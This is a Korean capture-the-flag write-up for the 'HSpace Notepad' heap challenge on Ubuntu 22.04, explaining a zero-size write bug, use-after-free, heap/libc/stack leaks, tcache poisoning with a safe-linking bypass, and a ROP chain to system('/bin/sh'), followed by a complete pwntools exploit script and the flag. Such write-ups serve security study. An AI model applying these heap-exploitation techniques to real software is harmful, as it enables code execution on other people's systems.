2023 HSpace 파트너 리그 예선전) Write-up (PWN/ HSpace Notepad)

2023. 9. 4. 21:33CTF

목차

01) PWN) HSpace Notepad


HSpace 파트너 리그 예선전 2023.08.31

 

PWN) HSpace Notepad (500 pts)

HSpace Notepad

22.04 버전의 heap exploit 문제이다.

 

삭제 함수(0x1492)에서 128번째 index를 0으로 바꾸고 나머지 내용은 지우지 않고 free시킨다.

delete (0x1492)

출력 함수(0x14FD)에서 0번째와 128번쨰 index가 0이 아니고 길이가 2이상인 것만 출력을 한다.

list (0x14FD)

쓰기 함수(0x1304)에 취약점이 존재한다.

malloc size는 0x84로 고정되어있으므로 fast bin을 이용하여 문제를 풀 수 없다.

최대 글자수가 0x80으로 제한되어있으므로 바로 overwrite가 되지 않는다.

그러나 0에 대한 예외처리가 되어있지 않으므로 size를 0으로 지정하고 내용을 입력하지 않는 것이 가능하다.

write (0x1304)

사이즈를 0으로 입력에 성공하면 0~7 인덱스에 동적할당이 된 주소(tcache의 fd 또는 unsorted bin의 fd)가 들어있으므로 heap 주소를 구할 수 있다.

 

이를 통해 heapbase주소를 구하고 tcache에는 7개까지의 chunk만 저장된다는 점을 이용하여 unsorted bin을 이용해서 libc 주소를 leak했다.

 

이후 다시 write를 사용하면 malloc을 호출하지 않으면서 덮어쓰는 동시에 128번쨰 인덱스에 1을 입력해주기 때문에 edit와 같은 기능을 하게된다.

UAF(Use After Free)를 이용하면 heap overwrite가 가능하다. 이를 통해 tcache poisoning을 하여 libc의 environ을 통해 stack 주소를 위와 같은 방식으로 leak하였다.

 

tcache poisoning을 할 때에는 우분투 버전정보가 22.04 이므로 safe linking이라는 보호기법이 저장되어있으므로 넣고싶은주소 ^ (heapbase/0x1000) 를 계산한 주소로 넣어야한다. 

2022.08.19 - [PWN] - System Hacking) Safe Linking - tcache 암호화 / tcache align

 

System Hacking) Safe Linking - tcache 암호화 / tcache align

Ubuntu 22.04 (glibc-2.36)까지 업데이트가 되면서 tcache에 관한 취약점들을 보완하기 위해 여러코드가 추가되었다. 참고된 코드는 아래 링크에서 확인할 수 있다. 버전별로 코드가 약간씩 다르지만 가

mi-sutga-ru.tistory.com

 

이를 통해 write함수의 ret주소를 rop코드로 변조하여 쉘을 획득하였다.

 

#!/usr/bin/python3
# MIsutgaRU

from pwn import *

s = process("./notepad")
#s = remote("cat.moe", 8003)
def menu(n):
    s.sendlineafter(b"> ", str(n).encode())

def write(idx, size, data):
    menu(1)
    s.sendlineafter(b"idx: ", str(idx).encode())
    s.sendlineafter(b"size: ", str(size).encode())
    s.sendlineafter(b"data: ", data)

def delete(idx):
    menu(2)
    s.sendlineafter(b"idx: ", str(idx).encode())

def view():
    menu(3)

def skip():
    s.recvuntil(b"-> ")

write(0, 128, b"A"*128)
write(1, 128, b"B"*128)
delete(0)
write(0, 0, b" ")
view()
skip()
heapbase = u64(s.recvuntil(b"\n")[:-1].ljust(8, b"\x00"))
heap1 = heapbase * 0x1000 + 0x2a0
log.info(hex(heap1))

write(2, 128, b"C"*128)
write(3, 128, b"D"*128)
write(4, 128, b"E"*128)
write(5, 128, b"F"*128)
write(6, 128, b"G"*128)
write(7, 128, b"H"*128)
write(8, 128, b"I"*128)
write(9, 128, b"J"*128)
delete(1)
delete(2)
delete(3)
delete(4)
delete(5)
delete(6)
delete(7)
delete(8)
write(0, 128, b"a"*128)
write(1, 128, b"b"*128)
write(2, 128, b"c"*128)
write(3, 128, b"d"*128)
write(4, 128, b"e"*128)
write(5, 128, b"f"*128)
write(6, 128, b"g"*128)
write(7, 0, b" ")
view()
for i in range(9):
    skip()
libcbase = u64(s.recvuntil(b"\n")[:-1].ljust(8, b"\x00"))-0x219ce0
log.info(hex(libcbase))

write(1, 20, b"AAA")
write(6, 20, p64((libcbase + 0x221200)^heapbase)) # environ
delete(2)
delete(1)
view()
write(10, 128, b"A"*128)
write(11, 128, b"B"*128)
write(12, 0, b" ")
view()
for i in range(13):
    skip()
stack = u64(s.recvuntil(b"\n")[:-1].ljust(8, b"\x00"))
log.info(hex(stack))

ret = stack - 0x260
log.info(hex(ret))

write(1, 20, b"AAA")
write(3, 128, b"D"*128)
write(4, 128, b"E"*128)
write(5, 128, b"F"*128)
write(6, 128, b"G"*128)
write(7, 128, b"H"*128)
write(8, 128, b"I"*128)
write(9, 128, b"J"*128)
delete(1)
delete(2)
delete(3)
delete(4)
write(1, 128, b"b"*128)
write(2, 128, b"c"*128)
write(3, 128, b"d"*128)
write(4, 128, b"e"*128)
write(5, 128, b"f"*128)
write(6, 128, b"g"*128)
write(4, 20, p64((ret-0x8)^heapbase))

write(13, 128, b"C"*128)
write(14, 40, p64(libcbase+0x2a3e5)*2+p64(libcbase+0x1d8698)+p64(libcbase+0x29cd6)+p64(libcbase+0x50d60)) # pop rdi ; ret / /bin/sh / ret / system()
s.interactive()

쉘 획득

hspace{15b8b113af54d566b3016b768d683688e0196e82c5fdcac796d7166c2375c8fd}